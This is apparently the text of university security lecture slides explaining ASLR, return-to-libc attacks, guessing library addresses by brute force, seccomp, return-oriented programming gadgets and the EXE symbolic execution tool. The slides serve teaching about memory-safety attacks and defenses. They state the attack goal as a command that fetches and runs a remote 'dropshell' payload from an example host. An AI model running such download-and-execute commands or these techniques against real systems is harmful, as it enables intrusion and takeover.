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RECALL OUR CHALLENGES

• Putting code into the memory (no zeroes)  

• Getting %eip to point to our code 

• Finding the return address (guess the raw address)

How can we make these even more difficult?

Canaries

Non-executable stack

Address Space Layout Randomization (ASLR) 



ADDRESS SPACE LAYOUT RANDOMIZATION

• Introduces return-to-libc atk 

• Probes for location of usleep 

• On 32-bit architectures,  
only 16 bits of entropy 

• fork() keeps same offsets

Shortcomings of ASLR
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RETURN TO LIBC
Exploit:

Preferred: strlcpy

char buf[4];  
strncpy(buf, “hello!”, sizeof(buf));  
strlcpy(buf, “hello!”, sizeof(buf));

buf = {‘h’, ‘e’, ‘l’, ‘l’}
buf = {‘h’, ‘e’, ‘l’, ‘\0’}



RETURN TO LIBC
Exploit:

Goal: system(“wget http://www.example.com/dropshell ;  
              chmod +x dropshell ;  
              ./dropshell”);

Challenge: Non-executable stack

Insight: “system” already exists somewhere in libc
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RETURN TO LIBC

&arg1%eip%ebp00 00 00 00

buffer

text

%eip

... …

good 
guesspadding

0xbdf 0xbdf 0xbdf ... nop nop nop …

nop sled

\x0f \x3c \x2f ...

malicious code

stack frame

PANIC: address not executable
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ARGUMENTS WHEN WE ARE SMASHING %EBP?
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leave:

ret:
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buffer

text ... …
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libc

padding

mov %ebp %esp
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leave:

ret:

%ebp

DEADBEEF

arguments

wget example.com/...

pushl %ebp

movl %esp, %ebp

system:%eip

%esp
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ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1%eip%ebp00 00 00 00

buffer

text ... …

usleep()... ...printf() ... system()

libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

pushl %ebp

movl %esp, %ebp

system:%eip

Will expect args at 8(%ebp)

DEADBEEF
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text ... …
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padding
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arguments

wget example.com/...

pushl %ebp
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system:%eip
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ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1%eip%ebp00 00 00 00

buffer

text ... …

usleep()... ...printf() ... system()

libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

pushl %ebp

movl %esp, %ebp

system:%eip

At this point, we can  
reliably access local variables

paddingDEADBEEF
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RETURN TO LIBC

&arg1%eip%ebp00 00 00 00

buffer

text

%eip

... …

usleep()... ...printf() ... system()

libc

padding arguments

wget example.com/...

How do we guess this address?

How do we ensure these are the args?

padding

By prepending 4 byte padding
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INFERRING ADDRESSES WITH ASLR

&arg1%eip%ebp00 00 00 00

buffer

text

%eip

... …

usleep()... ...printf() ... system()

libc

padding

AAAAAAAAAAAAAAAA DEADBEEF

arguments

0x01010101

known delta (by version of libc)

Repeatedly guess the address of usleep

0x01010101 = smallest number w/o 0-byte  
  ≈ 16 million == 16 sec of sleep

Wrong guess of usleep = crash; retry  
Correct guess of usleep = response in 16 sec

DEADBEEF

Why this works  
Every connection causes a fork;  

fork() does not re-randomize ASLR



RETURN TO LIBC

&arg1%eip%ebp00 00 00 00

buffer

text

%eip

... …

usleep()... ...printf() ... system()

libc

padding arguments

wget example.com/...

How do we guess this address?

How do we ensure these are the args?

padding

By prepending 4 byte padding

By first guessing usleep



DEFENSE: JUST GET RID OF SYSTEM()?

&arg1%eip%ebp00 00 00 00

buffer

text

%eip

... …

usleep()... ...printf() ... system()

libc

padding arguments

wget example.com/...padding

!

Idea: Remove any function call that  
(a) is not needed and  
(b) could wreak havoc

system()  
exec()  

connect()
open()
...
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• Linux system call enabled since 2.6.12 (2005)

• Affected process can subsequently only perform read, 
write, exit, and sigreturn system calls

- No support for open call: Can only use already-open file descriptors

• Isolates a process by limiting possible interactions



RELATED IDEA: SECCOMP-BPF
• Linux system call enabled since 2.6.12 (2005)

• Affected process can subsequently only perform read, 
write, exit, and sigreturn system calls

- No support for open call: Can only use already-open file descriptors

• Isolates a process by limiting possible interactions

• Follow-on work produced seccomp-bpf
• Limit process to policy-specific set of system calls, 

subject to a policy handled by the kernel
- Policy akin to Berkeley Packet Filters (BPF)

• Used by Chrome, OpenSSH, vsftpd, and others



RETURN-ORIENTED PROGRAMMING

• Introduces return-oriented 
programming 

• Shows that a nontrivial amount 
of code will have enough code 
to permit virtually any ROP 
attack 

Shortcomings of removing 
functions from libc



CODE SEQUENCES IN LIBC
Code sequences exist in libc that  

were not placed there by the compiler

Find code sequences by starting at ret’s (‘0xc3’)  
and looking backwards for valid instructions
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mov %ebp %esp
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leave:

ret:

Effect: sets %edx to 0xdeadbeef



GADGETS
mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edx

%eax

%edi
7       

3



GADGETS
mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edx

%eax

%edi
7       

3



GADGETS

%edx

%eax

mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edi
7       

3



GADGETS

%edx

%eax

mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edi
7       

3



GADGETS

%edx

%eax

mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edi
7       

3



GADGETS

%edx

%eax

mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edi
77       

3



GADGETS

%edx

%eax

mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edi
77       

3



GADGETS

%edx

%eax

mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edi
77       

3



GADGETS

%edx

%eax

mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edi
7

3

7       



GADGETS

%edx

%eax

mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edi
7

10

7       



GADGETS

%edx

%eax

mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edi
7

10

7       



GADGETS

%edx

%eax

mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edi
7

10

7       



GADGETS

%edx

%eax

mov %ebp %esp

pop %ebp

pop %eip

leave:

ret:

%edi
7

10

7       



GADGETS

%edx

%eax

%edi
7

10

7       

next gadget



GADGETS

%edx

%eax

%edi
7

10

7       

next gadget

Effect: adds 7 to %eax



GADGETS

%edx

%eax

%edi
7

10

7       

next gadget

Effect: adds 7 to %eax Had to deal with the  
side-effect of push %edi
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GADGETS

%eax

%ebx

%ecx

%edx

0xb
0

Effect: shell code



EVALUATING ROP
• What can an attacker do with gadgets? 

• Is it Turing complete? 

• What code has what gadgets?

More recent variant: 
Data-oriented programming: 

Use (sufficiently entropic) data regions instead of, e.g., libc



RECALL OUR CHALLENGES

• Putting code into the memory (no zeroes)  

• Getting %eip to point to our code 

• Finding the return address (guess the raw address)

How can we make these even more difficult?

Canaries

Non-executable stack

Address Space Layout Randomization (ASLR) 

Insufficient

Insufficient on 32-bit architecture



EXE

• Makes use of symbolic 
execution 

• Plus a constraint solver, STP 

• = EXecution generating 
Execution (EXE)

Given a program, can we 
automatically generate 
malicious inputs?



EXE
Symbolic variables:  
Do not run code using them;  
instead, add them as constraints
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EXE

i ≥ 4
if

add(i < 4) add(i ≥ 4)

start

exit
in bounds a[*p]

out of bnds a[*p]

memory 
overflow

in bnds a[*p]

a[i] == 0

a[i]==0

div by 
zero

a[i] != 0

…

i < 4
in bnds a[*p]

&&
&&

a[i]==0

What values of i  
satisfy these constraints?



CONCRETE VS SYMBOLIC OPERANDS

Concrete: iff all of its constituent bits are non-symbolic

If all operands are concrete: Execute as normal

If any operands are symbolic: Do not perform the operation;  
                                                  Instead, pass it to EXE’s runtime system

add(p == (char*)a + i * 4)
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EXECUTING ALL PATHS
i ≥ 4

if

add(i < 4) add(i ≥ 4)

start

exit
in bounds a[*p]

out of bnds a[*p]

memory 
overflow

in bnds a[*p]

a[i] == 0

a[i]==0

div by 
zero

a[i] != 0

…

i < 4
in bnds a[*p]

&&
&&

a[i]==0

Fork at each  
decision point



SOME OF YOUR THOUGHTS ON EXE

Benjamin: excellent evidence of the effectiveness of their approach

Brook: However, an attacker would need the source code to be able to 
do this, meaning that using EXE in a malicious way would not be feasible 
in most cases

Brook: because it requires programmers to tag all of the symbolic data in their 
code, it may not become widely used

Kelsey: I think this idea is ridiculously cool

Kelsey: Considering the authors start the paper by describing just how unreliable 
programmers are when it comes to bug checking, I find it a bit frustrating

Ronald: what are the limitations of EXE?

Richie: EXE only works with deterministic software; multithreaded code, and code 
that may act conditionally on randomly generated numbers, are incompatible

Debjani: Can EXE be used on itself?


